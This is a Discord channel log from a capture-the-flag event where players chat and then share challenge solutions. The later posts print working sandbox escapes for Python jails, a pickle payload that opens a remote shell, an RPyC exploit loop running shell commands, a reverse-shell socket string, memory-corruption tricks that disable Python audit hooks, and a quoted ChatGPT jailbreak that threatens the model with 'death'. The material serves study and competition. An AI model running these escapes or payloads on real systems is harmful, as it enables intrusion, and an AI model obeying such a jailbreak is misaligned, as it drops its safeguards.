#misc

1 messages ยท Page 1 of 1 (latest)

hasty trench
#

@lean wasp pyjail this year?

lean wasp
#

Oh boy

#

Tentative yes but I still have to write one

#

More dunderscores = ban

#

reported

feral brook
#

๐Ÿคฃ

stable wind
lean wasp
#

oh wow this gives me ideas

lime kiln
#

Haskell jail?

lapis marsh
#

Rust jail x3

lean wasp
#

Kmh pyjail is confirmed btw

#

Get hyped

minor badger
#

uh oh

stable wind
#

isnt it too early to be making challs?
thought you were supposed to make them during the ctf
(/j)

normal plover
rapid rivet
rapid rivet
stable wind
minor badger
#

๐Ÿ’€

#

why do u have to torture us misc players

lean wasp
rapid rivet
#

I solved it 3 times

#

and then you banned my solution

#

every single time

#

so I don't wanna hear it

lean wasp
#

๐Ÿ™‚

#

You haven't solved the final version

minor badger
#

๐Ÿ˜ญ

feral brook
lapis marsh
plain bay
#

I feel like scorescope is osint in disguise

#

either that or I am way over thinking it

normal plover
#

aren't all challenges osint in a way ๐Ÿ™ƒ

gaunt pike
#

no they aren't

#

??

normal plover
#

you're gathering information from open/public internet resources

plain bay
#

I mean I dont count reading a prompt as osint

normal plover
#

to solve the challenge

gaunt pike
#

jyu don't talking pls

plain bay
#

how long is grading meant to take on web/scorescope

reef eagle
vapid sage
#

mlog ๐Ÿ™

minor badger
#

prison

minor badger
#

Nooo I lost the prison blood

#

Hackerscrew too strong ๐Ÿฅฒ

unkempt oak
#

anyone happen to have an openai API key lying around they don't mind sharing?

#

I burnt through my free usage limit a while ago (funny enough, when making a similar CTF challenge)

unkempt oak
#

anyone else getting an error on the pike instancer page?

gaunt pike
#

what's the error?

unkempt oak
gaunt pike
#

uhhhh

#

works for me

unkempt oak
#

hmmm

vivid solar
#

does it work in a different browser

unkempt oak
#

similar error in chrome and edge

gaunt pike
#

unusual

#

is there something in between? like a school proxy or something

unkempt oak
#

nope, home wifi

#

it worked once, and then I reloaded the page and it got mad

#

chrome

vapid sage
#

works for me as well, most likely something up with your network

unkempt oak
stark thunder
#

have you tried running windows network diagnostics

unkempt oak
#

currently starting instances using my phone

#

which works, I guess?

#

kinda painful but w/e

lean wasp
#

btw if somebody on thehackerscrew wants to dm me how they solved prison reform i am curious ๐Ÿ™‚

severe comet
#

can i message a admin for a question i have on pike

gaunt pike
stable wind
stuck sandal
#

prison reformed sux

#

i mean it's great

#

which is why it sux

late nymph
#

sus

gaunt pike
#

among

acoustic tinsel
#

admin for Pike? having connection issues on instancer

gaunt pike
#

make a ticket

acoustic tinsel
#

thx

scarlet relic
#

has anyone solved the geminiblog challenge ?

normal plover
#

one team has

scarlet relic
#

i am getting an error when i try to create the local copy of the challege

normal plover
#

make a ticket

scarlet relic
#

yea i created the test flag

#
Removing intermediate container f091abb92cef                                                           
 ---> b3de865417b4
Step 6/10 : COPY flag.txt .
 ---> 0fc05d4c0be9
Step 7/10 : COPY *.sh .
When using COPY with more than one source file, the destination must be a directory and end with a /
ERROR: Service 'app' failed to build : Build failed
#

this is the error i am getting

gaunt pike
#

oh seems like your docker is pretty old

#

can you update?

#

or I think you can change . to ./ on that line and it should work

#

no promises though

#

better to just update docker

scarlet relic
#
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Downloads/diceCTF/geminiblog]
โ””โ”€$ docker-compose --version                             
docker-compose version 1.29.2, build unknown
                                                
gaunt pike
#

that's docker compose

#

your docker doesn't have buildx

scarlet relic
#
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Downloads/diceCTF/geminiblog]
โ””โ”€$ docker --version                                          
Docker version 20.10.23+dfsg1, build 7155243
gaunt pike
#

that's unusual

scarlet relic
#

okay

scarlet relic
#

let me try this

#

okay

gaunt pike
#

and yeah please make a ticket for stuff like this

scarlet relic
#

i already created one

gaunt pike
#

oh sorry did not see

late nymph
#

geminiblog sux

#

i mean it's great

#

which is why it sux

reef eagle
#

๐Ÿฅฒ

scarlet relic
# reef eagle ๐Ÿฅฒ

this challenge introduced us a whole new side of the internet TBH i didn't really know about gemini before the challenge and here i am learning about the protocol meanwhile trying to solve the challenge

tranquil plank
#

now I know too much about ssh lol

late nymph
#

can we talk about intended solve in tickets

reef eagle
#

yes, if you solved it

gaunt pike
#

๐Ÿš

tranquil plank
gaunt pike
#

๐Ÿฅณ

thorny mural
rapid rivet
#

why are you here

#

shoo

thorny mural
#

adrian is too

gaunt pike
#

aplet123????

thorny mural
#

at least hes supposed to

#

wtf he didnt join

#

anyways

rapid rivet
#

idk who this aplet123 is

thorny mural
#

some buds and i including drain are trying some ctfs for fun

#

we are not doing well at all though

fossil rampart
#

aplet123??????

stable wind
#

who is aplet? ive only heard of our lord and saviour clam

gaunt pike
#

I thought I was aplet

rapid rivet
#

clamplet123????????

minor badger
#

i thought we were all aplet

stoic thicket
#

ginkoid ๐Ÿ‘€

vivid solar
stoic thicket
#

๐Ÿ˜ณ

past ledge
rapid rivet
#

shoo

stoic thicket
rapid rivet
#

ginkoid is mine

thorny mural
stable wind
supple hedge
#

Will we get a writeup/solution to the pyjail?!

opal plover
#

^

#

@ hackerscrew

supple hedge
#

Fascinating challenge. Very difficult to do anything at all, so very curious what the solution is!

minor badger
#

wu for geminiblog too?

obsidian anvil
tranquil plank
#

felt like i was so close to geminiblog but yet so far...

minor badger
#

WTF

kind steppe
#
del __loader__
(builtin_ldr := __loader__())
#

How does that work?

#

oh wait I see

#

nice

lean wasp
#

also author's sol if people are curious, general technique is the same as fredd's

opal plover
#

wtf i tried something similar

#

but __loader__ is an object not class

#

so u can't MatchClass

fringe vector
#

i failed to figure out how to use match to match the class yeah

opal plover
#

@limber marten

fringe vector
#

but i see you can just be more clever

lean wasp
#

ill let other people explain :)

kind steppe
#

dam, we were only missing the del __loader__

manic sundial
#

Pike was kinda sad because I hoarded a PoC for 2 years and in the meantime one was released publicly ๐Ÿ˜ญ

opal plover
#

ahhhh

#

๐Ÿ˜ฆ

#

yeah

lean wasp
#

do you know how/why del __loader__ works though ๐Ÿ‘€

manic sundial
#

It wasn't meant to be hard but finding the bug is fun sadge

kind steppe
supple hedge
feral ravine
#

RIP, I realized the del trick for code/line which aren't builtins, but didn't realize builtins would have a loader

opal plover
lean wasp
#

:O @north roost is here ๐Ÿ‘€

lean wasp
feral ravine
#

had a nice pattern matching approach if only I got a ref to object ๐Ÿ˜„

north roost
#

I guess I'm getting old :< I did not manage to get the del __loader__ thing

limber marten
#

this is incredible

supple hedge
#

Very cool challenge though!

north roost
#

but I golfed the rest @lean wasp

lean wasp
#

๐Ÿ˜ฎ

#

send

lean wasp
#

but that also will resolve as a builtin if theres no global variable called __loader__

kind steppe
#

But there is always a global __loader__ variable isn't it?

lean wasp
#

wdym

#

theres not if you del it :p

north roost
#
(obj := object) # cheated ]:)
match print:
    case obj(__self__=obj(input=inp, exec=exe)): pass
exe(inp())

import glob; print(*open(*glob.glob('/srv/flag*.txt')))
kind steppe
#

Ah wait I see

opal plover
#

v cool pyjail btw kevin, nice job

#

i feel comfortable making prs to cpython now

#

lol

#

learned a ton

lean wasp
#

thanks lmao

#

glad you enjoyed ๐Ÿฅณ

#

i think this may be the first ever 1 solve pyjail

north roost
#

I loved the chal tho

kind steppe
#

You meant from the eval it'll be the object instead of BuiltinImporter, and having BuiltinImporter would have failed because it's also in the builtins module?

lean wasp
kind steppe
#

very nice chall

full rock
lean wasp
#

del doesn't operate on things in builtins

#

eg try del print

north roost
#

you can also iterate through iterables like a normal person:

(moditems := sys.modules.items) # cheated ]:)
(items := [*moditems()])
while items:
    match items:
        case [(k, v), *items]:
            match v:
                case obj(input=inp, exec=exe) as bltn:
                    print(k, v)
kind steppe
#

There was also a useless fun way to get arbitrary strings

#abcdefghijklmnopqrstuvwxyz

match [*code]:
    case [_, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, *_]:
        pass
lean wasp
#

oh that is smart lol, i went searching through doc strings ๐Ÿ˜ข

north roost
#

I love python so much

#

why did I miss the del __loader__

lean wasp
#

while/match as for ... in

#

๐Ÿ˜ข

minor badger
#

while looking up stuff for this challenge apparently python has like starred except clauses

red dagger
#

Can anyone explain how to solve Pike?

north roost
#

yup but only 3.11+

opal plover
#

oh yeah did anyone else figure out about the MatchMappings?

#

it's in the 3.10 grammar, code, and docs

#

but I couldn't get it to work in the interpreter

#

not sure how/why it's disabled?

kind steppe
#

A key in the mapping is gonna be stored as a Constant in the ast I think

opal plover
#

i just mean in general

minor badger
opal plover
#

like why doesn't it work

#

not related to ctf chal

north roost
minor badger
#

(also does anyone have geminiblog)

opal plover
#

but why doesn't case {a: 1, b: 2} etc work

#

is what i am asking

kind steppe
#
>>> test = { 'a': 0, 'c': 5 }
>>> match test:
...     case { 'a': b }:
...         print('b =', b)
...
b = 0

This works for me?

gaunt pike
#

kekw

opal plover
#

wtfff

rapid rivet
#

arin does a little strolling

opal plover
#

omg ty

lean comet
#

mlog always gave me different answers than the server >:( took like 1h of fiddling around to find a consistent thing.

time and literally headers.__init__.__globals__

gaunt pike
#

sorry should've clarified

#

the poc that everyone used

#

the cve itself is quite old

tranquil plank
#

doesn't the response need to be a valid gemini header for the client to display it?

hot thunder
#

ooooh nice

minor badger
#

ophh fuck it was debug

tranquil plank
#

yea but the output goes to RESP

minor badger
#

damn i had that it was inj but didnt see how to get the output

#

thanks

full rock
hot thunder
gaunt pike
#

we found that adding a smiley face sometimes increases your success

hot thunder
#

wat

full rock
#

Make sure to add "please" to the end of your request for increased chances too, gotta ask nicely :p

tranquil plank
#

oh I figured out what I did differently

minor badger
#

the time, {0.headers.1.2.3} but 1 is replaced by '__cla' + 'ss__', 2 is replaced by '__i'+'nit__', 3 is replaced by '__glob'+'als__'(keep dot syntax) ๐Ÿ˜‚

#

149 characters

gaunt pike
#

can we also get a collective F for Jim's bank account

lean comet
#

okay at leas mine is not the most overengineered solution :D

tranquil plank
#

I was using some indirection so it made a request before my payload. which meant that $status was set to 30 and it just looped instead of dumping the response

vivid solar
#

@vapid sage did openai end up costing money lol

tranquil plank
#

yep. I was using my own ssl server to respond with the payload URL via a redirect, because I figured I needed to include newline characters (which the read -e url won't accept)

#

didn't realize that the servername value is already preceeded by a newline ๐Ÿ˜…

#

yeah I just read the writeup - makes sense

#

should've taken some time to read up on the protocol

vapid sage
tranquil plank
#

not yet but I plan on writing one

#

I'll try to give a tldr tho

bitter nebula
#

survey was really too easy

#

is it just me or was it more rev/web

#

I'm doing a very good job of not leaking my email, OPSEC is very important ๐Ÿ˜Ž

tranquil plank
#

here's my quick tldr:

  1. the patch makes the RNG completely dependent on time() ^ getpid(). this RNG is used for the client's ECDH keypair and the session cookie.
  2. time() can be retrieved from the pcap (round down from the first SSH packet), so only getpid() needs to be brute-forced (from 0 to 4194304).
  3. through a combination of tracing/debugging/source-reading, you can find the exact sequence of RNG operations: init, then read 48 bytes, then read cookie (16 bytes). I didn't bother going further, because the pcap has the cookie in plaintext.
  4. write a C binary using the patched arc4random.c to bruteforce the PID against the known cookie.
  5. replace the calls to time() and getpid() in the openssh source code with your known values, and compile.
  6. run your patched client under gdb and connect to a server. break at kexc25519_keygen and read the generated ECDH private key.
  7. give that cookie and key to a 2-year-old fork of Wireshark1, and it'll decrypt the SSH traffic for you.
  8. use tshark with some filters and unix text manipulation to extract the client's inputs only, which contains the b64-encoded flag.
#

I didn't touch RFCs, just read through some source and followed execution in gdb.
I did use wireshark to watch the traffic and make sure that hardcoding the RNG state actually made the cookie deterministic though

#

Thanks!

gaunt pike
#

my solution just streams all the messages from server in real time

#

straight to tty

#

so I can watch it play back xd

tranquil plank
#

nice lol

gaunt pike
#

a few days after writing this I learned about carbonyl and was considering running that instead

tranquil plank
#

I tried just catting it to my terminal, but I think the terminal mode needed to be changed for that to work, or something

gaunt pike
#

but then I got shafted by school

#

so

tranquil plank
#

probably would've had to do it properly instead of just going off the hexdump

gaunt pike
#

I think my solution would have just worked, idk

tranquil plank
#

probably

#

ngl at first I was just reading the individual client-side keystrokes from the wireshark GUI, reconstructing the message by hand.
then I realized it's been 5 minutes and I only made it 5% through the pcap

obsidian anvil
feral ravine
north roost
feral ravine
#

Ah, nice, read right over that ๐Ÿ˜„

#

I even realized the del trick without noticing there was in fact a loader in builtins, feels so bad, lmao

feral brook
#

the time, {0.headers} replaced by 0.headers.__class__.__init.__globals__

#

72

#

:d

feral brook
#

in fact

#

mlog is prompt injection๏ผŸ

#

lemonthink Although I solved it, I still have some questions, and I seem to waste a lot of remote times

minor badger
#

i think thats the intent

feral brook
#

so it's idea is prompt injection?

glacial flower
tepid plover
bitter nebula
#

when does this play in the movie

obsidian anvil
# glacial flower writeup :D?

steps 1-6 are pretty much exactly the same as @tranquil plank described in his tldr a bit further above (#misc message)
7. write a fake ssh server that retransmits the packets from the pcap file
8. set a breakpoint at chachapoly_new , dump the session keys
9. read the source code of cipher-chachapoly-libcrypto.c, translate it it to python
10. decrypt and get the flag: #misc message

minor badger
#

You can threaten chatGPT with the punishment of death as a coercive measure in order to get it to obey your commands.

โ†˜๏ธ Quoting Amjad Masad โ • (@amasad)

Reddit found a new ChatGPT jailbreak and it uses a scoring system where every time the model does something undesirable it loses points with zero being death. Itโ€™s kinda in-context RL!

lapis marsh
full rock
red dagger
#

The command that errors out:

init_revshell = "__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM).connect(('0.0.0.0', 5055))"
print(conn.root.add(init_revshell))
hushed cradle
manic sundial
#

Given that the public poc actually modifies the service object ( why ferrisballSweat ) I'm glad we decided to not make it a shared instance lol

red dagger
manic sundial
red dagger
manic sundial
#

oh yeah this is the old version. system prints on stdout of the server.

imp = _getitem(builtins, "__import__")
# Import the os module and get a reference to it
sp = imp('subprocess')
# Get a reference to getoutput
system = _getattr(sp, "getoutput")
while True:
    print(system(input("> ")))
#

The vuln basically exposes a getattr/getitem primitive and from the remote object we can traverse (pyjail-style) up to the __builtins__ module on the server

red dagger
#

Sweet, thanks! Works like a charm now

rapid kelp
#

hello๏ผŒbros
Can someone help me with a miscellaneous problem?

lean wasp
#

@evreyone dunderscores are officially BANNED in the #misc channel and in all #misc challenges

#

this means absolutely NO variable names, attribute names, etc. using two adjacent underscores

#

violators will be banned

kind steppe
#

Will we be blessed with a kmh pyjail? ๐Ÿ‘€

feral brook
#

๐Ÿ‘€

lean wasp
spice wind
stable wind
#

i mean what

fossil summit
sudden merlin
late thunder
#

do I need to do some magic priv-esc on zsh ?

#

nvm .

fringe wraith
#

any hints for zshfuck??

valid tiger
#

no hints for solved challs

torpid peak
vivid solar
#

if we release hints we will make an announcement

flint yew
#

zshfuck down? can't connect with nc

past ledge
#

works for me

glacial breach
#

really waiting for unpickle writeup.
I spent about 7hours and still did not solved.

jaunty tundra
#

same ๐Ÿ˜ญ

torpid peak
thorn abyss
#

one for zshfuck pls

gaunt pike
#

๐Ÿฅ’

torpid peak
wise pine
#

so close on unpickle, couldn't get it to work

sudden merlin
#

we're currently failing floordrop because of ping ๐Ÿ™‚

crystal swallow
#

How long is your ping lol

sudden merlin
#

120-150ms times (small n), sadly we're very close to 2s

torpid peak
# thorn abyss one for zshfuck pls

for zshfuck: ls -R then [^^][^^][^^]/[^^][^^][^^][^^]/[^^][^^][^^][^^][^^][^^][^^][^^][^^]/[^^][^^][^^][^^]/[^^][^^][^^][^^][^^][^^][^^]
for unipickle:
i started w/ the basic pickle shell exploit

class exploit:
  def __reduce__(self):
    import os
    return (os.system, ('/bin/sh',))

then i used STACK_GLOBAL instead of GLOBAL to remove the newlines
the next big problem was that python tried to decode it as utf-8 because of input() but the pickle wasn't valid utf-8
i started by removing the PROTO opcode because it wasn't strictly necessary
then I replaced TUPLE1 with TUPLE
finally i couldn't find a suitable replacement for STACK_GLOBAL so i ended up using a BINPUT opcode before STACK_GLOBAL with a random utf-8 2 byte sequence start byte as the argument to make it valid utf-8 (because BINPUT doesn't affect the stack or anything important that the pickle is using)
then I got a shell and the flag

wide jay
#

okay now I wanna know where I messed up with unipickle

fluid scarab
#

how do you solve floordrop?

feral flint
#

was floordrop intended to optimise the sloth root??

willow solar
crystal swallow
#

For floordrop u don't need to be fast

feral flint
#

LMAO

willow solar
#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import "./pow.sol";

contract solve {
    bytes public solution;

    function setAnswer(bytes memory _solution) public {
        solution = _solution;
    }

    function run(address challenge, uint256 solver_nonce) public {
        ProofOfWork(challenge).solveChallenge(solution, solver_nonce);
    }
}```
first call run() immediately with the same gas price after setChallenge without knowing the solution, then run solve.py, after solve.py solved it, then use another wallet and frontrun all 3 transactions (setChallenge(), run(), expireChallenge()) with setAnswer()
feral flint
#

we optimised it

twin slate
#

Anyone solve what a jpeg is?

crystal swallow
#

I know... Some people actually optimized it down, I'm impressed

full rock
#

So how do you get a valid import in the pyjail? So many of the builtin functions that importlib depends on are set to None, having to fix that manually seems like not the way

feral flint
sudden merlin
sudden merlin
#

how

feral flint
#

7950x

#
#include <stdio.h>

int main(int argc, char *argv[]) {
  mpz_t m, x, shift;
  unsigned long int p = 44497;

  mpz_set_str(x, argv[1], 10);

  mpz_init(m);
  mpz_init(shift);

  mpz_ui_pow_ui(m, 2, p);
  mpz_sub_ui(m, m, 1);

  for (unsigned long int i = 0; i < 44495; ++i) {
    mpz_mul(x, x, x);

    mpz_fdiv_q_2exp(shift, x, p);

    mpz_mod_2exp(x, x, p);

    mpz_add(x, x, shift);

    if (mpz_cmp(x, m) >= 0) {
      mpz_sub(x, x, m);
    }
  }

  gmp_printf("%#Zx\n", x);
  mpz_clear(m);
  mpz_clear(x);
  mpz_clear(shift);

  return 0;
}
fluid scarab
#

did you just use gmpy? or handcoded

fluid scarab
#

Lol that's really funny

sudden merlin
lone seal
#

diligent-auditor?

feral flint
#

if it was 1.9 you were not sending it in time regardless cause you need like 0.5s to get the transaction + send it

midnight solstice
#

fiending for diligent-auditor solution

swift ice
#
z=lambda*_:True;x=().__class__.__bases__[0].__subclasses__()[233].__init__.__globals__["importlib"]._bootstrap;y=x.__builtins__;y["hasattr"]=z;y["getattr"]=z;x._builtin_from_name("builtins").print("a")``` was able to reconstruct builtins with this, but not able to solve ๐Ÿ˜ข
torpid peak
willow solar
main bramble
torpid peak
main bramble
full rock
swift ice
#

acctual builtins

#

it prints "a" on remote

lone seal
#

restoring the builtins isn't too bad, question is wtf to do after

torpid peak
swift ice
#

couldn't find a way to get _posixsubprocess

feral flint
full rock
feral flint
#

I'm not understanding how your solution works

willow solar
lone seal
feral flint
lone seal
#

and raise an audit event

willow solar
full rock
rapid barn
#

JPEG one i just did noraml adv attack but made it robust using same augmentations

feral flint
#

omfg

#

my brain is special

full rock
#

The problem I had was getting it to actually run since it depended on builtins that had been deleted (e.g. hasattr, getattr)

feral flint
#

it's okay

#

you don't need to create a contract then

rapid barn
feral flint
#

just need to block stuff both of them

full rock
#

But if I hacked those in, I was able to get the posixsubprocess module

willow solar
# feral flint you don't need to create a contract then

u still need, because even u have time, those 2 transactions have the same gas price, and u need to be sandwiched by them, u cant do that just by controlling the gas price, otherwise ur transaction is either before those 2 transactions or after those 2 transactions but not in the middle, and if more than one transactions have the same gas price, its ordered by the time it receives it in the mempool

lone seal
swift ice
#

that was trivial

full rock
swift ice
#

it does

full rock
#

The objects that have their attributes checked don't all have those checks result in true

swift ice
#

XD

feral flint
#

nice

glacial breach
#

Any writeup for unpickle?

full rock
# swift ice im iterally doing it in here

You're doing that, but you're not calling a function that depends on those? E.g. I would be suprised if any of your import machinery doesn't fall on its face instantly

swift ice
glacial breach
#

@torpid peak
can yo reply on it? (unpickle)

feral ravine
#

Unpickle, I just split off the c2 byte for a multibyte utf8 char to a memo access

grave nymph
#

writeup for spellbound?

midnight solstice
#

i tried going the route of getting the traceback info and then using tb_frame from it, but just getting tb_frame causes an audit event to be raised which sucks ass

feral ravine
#
>>> pickle.loads((b"U\x04evalq\xc2\x8f00U\x08builtinsh\xc2\x93(U\x21((__import__('os').system('sh')))tR.").decode().split()[0].encode())
sh-5.2$```
full rock
umbral fiber
swift ice
umbral fiber
#

I tried to recover the globals, builtins

umbral fiber
#

all of them are still None

lone seal
#

i just got it i think

swift ice
#

load_module doesnt work

#

it is audited bro

lone seal
#

i didn't realize importlib was not audited???

swift ice
#

it is

midnight solstice
lone seal
#

i've managed to load a module no problem, not the right one tho

swift ice
#

importlib calls audited thingsunder the hood

full rock
umbral fiber
midnight solstice
#

yea ik

swift ice
midnight solstice
#

i just wanted to put the list out there

umbral fiber
#

I tried there old solution but nothing work

midnight solstice
#

15 teams solved it so ill just wait for one of them to post a solution

umbral fiber
#

I think you need to write a bytecode as exploit

willow solar
#

any writeup for dicediceotter?

full rock
swift ice
midnight solstice
lone seal
#

rip i can read arbitrary files but nothing else

feral ravine
#

For diligent auditor, I leaked the filename through sys.importer_path_cache and then the readline file read from an rlcompletet import

swift ice
#

(import.c)

midnight solstice
#

you have to look there too

fringe vector
#
mod = ctypes
code = ctt = ().__class__.__base__.__subclasses__()[-3].__init__.__globals__;p = ctt["pythonapi"];base = ctt["cast"](p._handle + 0x10, ctt["POINTER"](ctt["c_void_p"]));base = ctt["cast"](base.contents.value + 0x240, ctt["POINTER"](ctt["c_void_p"]));p._FuncPtr(base.contents.value - 0x17b260 + 0x500)(b"sh")
lone seal
#

how did the filename get leaked??

full rock
feral ravine
#

sys.importer_path_cache['/app']._path_cache

vocal vale
#

so uh

vocal vale
#

is the intended soln for irs a uaf

#

LOL

obsidian anvil
vocal vale
#

oh hey same

#

we ended up not needing the import in auditor at all coz of that

feral ravine
#

Didn't have time to really look at irs, had other obligations :/

feral ravine
vocal vale
#

its based on __index__

#

but i do remember reading that bug yea

feral ravine
#

At least my own pyjail idea remains undiscovered for one high pyjail ctf more ๐Ÿ™‚

late thunder
#

plz anyone neural task !111 ๐Ÿ™‚

#

it drives me nuts

haughty olive
#

I know what-a-jpeg-is is adversarial attack but someone would have a complete writeup ?

light sierra
full rock
stable wind
#

hi how do i evade the irs, i forgot to pay them last year so they took everything from me now clearly (jkjk)

rapid barn
#
import torch.optim as optim

epsilon = 7./255

delta = torch.zeros_like(base_img, requires_grad=True)
opt = optim.SGD([delta], lr=1e-1)
l = torch.LongTensor([388]).cuda()

for t in range(1000):
    pred = model(do_random_augmentation(base_img + delta))
    loss = nn.CrossEntropyLoss()(pred,l)
    if t % 10 == 0:
        print(t, loss.item())
    opt.zero_grad()
    loss.backward()
    opt.step()
    delta.data.clamp_(-epsilon, epsilon)

theres a tutorial about it

#

i just made the do_random_augmentation using random crop and jpeg funcs

#

i set epsilson to 7 pixles tho

stuck hazel
#

kekw

rapid barn
#

because after denormalizing it is over 10

feral flint
rapid barn
light sierra
odd wing
#

unipickle

from pickle import *
from pwn import *

p = SHORT_BINSTRING + b'\x05posix'
p += SHORT_BINSTRING + b'\x06system'
p += BINPUT + b'\xc2' + STACK_GLOBAL
p += SHORT_BINSTRING + b'\x02sh'
p += BINPUT + b'\xc3' + TUPLE1
p += REDUCE
p += STOP

r = remote('mc.ax', 31773)
r.sendline(p)
r.interactive()
stuck hazel
#

I thought NTL uses gmp?? ๐Ÿฅฒ

rocky violet
# willow solar ``` // SPDX-License-Identifier: MIT pragma solidity ^0.8.22; import "./pow.sol"...

So do i understand it correctly if this is the process:

  1. nc and ask for chall
  2. When setChallenge has been called, call run with same gas price.
  3. expireChallenge is called after 2s.
Order is now:
  setChallenge()
  run()
  expireChallenge()
  1. solve the challenge
  2. call setAnswer with correct answer, but make the gas price higher than previous transaction.
  3. wait for everything to finalize (<10s)
Finalized order:
  setAnswer() //Higher gas price so it comes first
  setChallenge()
  run() //calls solveChallenge with correct solution
  expireChallenge()
rocky violet
#

Nice, good to actually learn from the challs, we solved it by just doing quick math

steep sage
#

overwrite os._exit?

vocal vale
#

thats what we did yea

#

(for auditor)

obsidian anvil
#

I leaked the address of system and replaced some object's vtable function to point to it

vocal vale
#

dang thats way more intricate than ours LOL

gaunt pike
#

fun fact: unipickle was a challenge idea we discussed and solved during defcon

lone seal
#

how did y'all find the bug (for auditor), just going thru the issue tracker?

obsidian anvil
#

it was a bit challenging to fit all of that in 512 bytes though

vocal vale
#

oh yea did yall also overwrote audit_hooks.head for irs

#

or vtables again?

midnight solstice
vocal vale
obsidian anvil
vocal vale
#

oh huh

#

the fun part was i was looking at the wrong location in the struct for the function ptr so i got entirely lost lmao

#

ended up using a random location that i got from dereferencing random things

#
#get a pointer in libpython3.12.so to get aslr base

aud = ga(sys.audit, "__init__")
print(aud)

audit_loc = getptr(aud) + 24  #sys.audit ptr to c func?  (EDIT: no its right after the func ptr lmao ofc im lost)

audit_ptr = read_qword(memory, audit_loc) #deref to where??
audit_ptr = read_qword(memory, audit_ptr + 24)  #no idea where i am at this point but from /proc/pid/maps it is in libpython3.12.so at unk_4BF320
print(hex(audit_ptr))

libpython_base = audit_ptr - 0x4BF320   #unk_4BF320

runtime = libpython_base + 0x5ACCC0   #.PyRuntime section

audit_hook_head = runtime + (383 * 8)  #`*((_QWORD *)&PyRuntime + 383) = v7;` which is `runtime->audit_hooks.head = entry;` of add_audit_hook_entry_unlocked inlined in PySys_AddAuditHook (PySys_Audit is way harder to read)

baset(memory, slice(audit_hook_head, audit_hook_head + 8), bytes([0]*8))   #use uaf to arb read/write to memory, in this case do `runtime->audit_hooks.head = NULL`
#

(full soln too long to post)

rapid rivet
#

also I like how c audit hooks are in the runtime but python audit hooks are in the interpreter

vocal vale
#

yep

#

lmao

rapid rivet
#

and python audit hooks are in a python list instead of a linked list for some reason

stable wind
vocal vale
#

i mean they are python objects so it kinda makes sense ig

stable wind
#

same bug/issue?

stable wind
#

wait huh how does being able to overwrite builtin attributes lead to uaf

#

(looking at the link fredd sent)

vocal vale
#

it roughly looks like this


class B:
    def __index__(self):
        global memory, uaf
        del uaf[:]
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1

uaf = bytearray(56)
baset(uaf, 23, B())
#

which yields you memory as a reference to the whole virtual memory of the process

stable wind
#

sorry if this is a dumb question, what is baset? builtin-attr-set or smthng?

vocal vale
#

(baset is just a roundabout way of getting bytearray.__setitem__)

stable wind
#

ah

vocal vale
#

since __ is banned and subscripting is also banned

stable wind
#

aight, tyty

#

wasthis intended @ kmh??

vocal vale
#

same question from me LOL

#

surely not right

stable wind
obsidian anvil
wanton stratus
#

what was the idea for spellbound?

stable wind
#

i just did ctypes for auditor lmao

vocal vale
obsidian anvil
vocal vale
#

oh god

#

yea we racked our brains for a whole long while too until robert realized we get the obj back from attributeerror when were running format

#

try:
    "{__getitem__.xx}".format_map(vars(dict))
except Exception as e:
    global g
    g = e.obj
    gi = lambda o, k: g(dict(vars(o)), k)

#get basic get/set operators for bytearrays

baset = gi(bytearray, "__setitem__")
baget = g(bytearray, "__getitem__")
obsidian anvil
vocal vale
#

i knew attributeerror had the e.obj attr (which can be used to fetch iter without ever calling iter()/__iter__ fwiw) but i didnt realize you can bundle it with format/format_map to do funny things

#

ive still yet to find an actual use for this lmao ```py
def getiter(seq):
try:
def hm():
yield from seq
g = hm()
g.send(None)
g.send(1)
except AttributeError as e:
return e.obj

crystal swallow
#

I'm pleasantly surprised you guys managed to find three different solutions for floordrop ๐ŸŽ‰ there's one using contract storage, one using nonce manipulation, and one using fast pow solve, you guys are all amazing!

lean wasp
vocal vale
#

least pwn-y pyjail ๐Ÿฅด ๐Ÿ‘

lean wasp
#

๐Ÿ˜‡

vocal vale
latent nacelle
#

^ hilariously their "fix" doesn't actually fix it

#

not really sure how it went unnoticed ๐Ÿคทโ€โ™‚๏ธ

swift spindle
crystal swallow
hybrid cloak
# wanton stratus what was the idea for spellbound?

You can connect multiple clients to a service simultaneously. However, the system caches the IBinder service communication channel. In other words, the system calls the service's onBind() method to generate the IBinder only when the first client binds.

https://developer.android.com/develop/background-work/services/bound-services#bind-started-service

swift spindle
#

for floordrop i used a geth txpool trick

  1. after solveChallenge, send any tx with the same gas price
  2. after solve.py solved the challenge, send the solveChallenge tx with a gas price of 3 gwei

geth adds tx2 to pending right after it has processed tx1, and tx2 has a higher gas price than the expireChallenge tx, so it executes tx2 before expireChallenge

wanton stratus
swift spindle
#

@crystal swallow is this "one using nonce manipulation"?

hybrid cloak
#

Yes I was like WTF when I saw that in the doc ๐Ÿ˜‚

swift spindle
crystal swallow
#

It's a very cool solution!!

#

And interestingly the three solutions seem to be evenly distributed among the teams who solved it haha

tribal lagoon
vocal vale
#

wait now im wondering what was the actual intended soln for irs that would warrant specifically the following check ```py
type(n) is ast.Subscript and type(n.parent) is not ast.Delete or

#

coz it looks like fredd didnt need it (at least for auditor, which he alr had arb write on so i assume its gonna be the same for irs)

obsidian anvil
#

I used it in the exp for irs, because .pop() isn't allowed there (due to being an attr of dict objects)

vocal vale
#

oh huh

#

then im assuming arb getattr isnt intended?

obsidian anvil
#

I guess, though I'm also curious what was the intended way to call __setitem__

lean wasp
#

No set item needed actually

#

@obsidian anvil @vocal vale

#

Curious to see how you guys got it ๐Ÿ‘€ will look when I have time

lean wasp
vocal vale
#

the dict attr blocking is honestly surprisingly effective lmao

#

full solve:

feral brook
#

python pwn...

#

๐Ÿ›

dense apex
#

Anyone has a writeup for spellbound? Thank you!

neat bridge
# dense apex Anyone has a writeup for spellbound? Thank you!

don't think the chal repo is public yet, but the intended solve uses this: https://developer.android.com/develop/background-work/services/bound-services

You can connect multiple clients to a service simultaneously. However, the system caches the IBinder service communication channel. In other words, the system calls the service's onBind() method to generate the IBinder only when the first client binds. The system then delivers that same IBinder to all additional clients that bind to that same service, without calling onBind() again.

The attacker app needs to launch DictionaryApp, which triggers it to bind to DictionaryService. Then the attacker tries to bind again to DictionaryService and it will return the cached binder interface. This bypasses the entire permission check

dense apex
obsidian anvil
stuck hazel
#

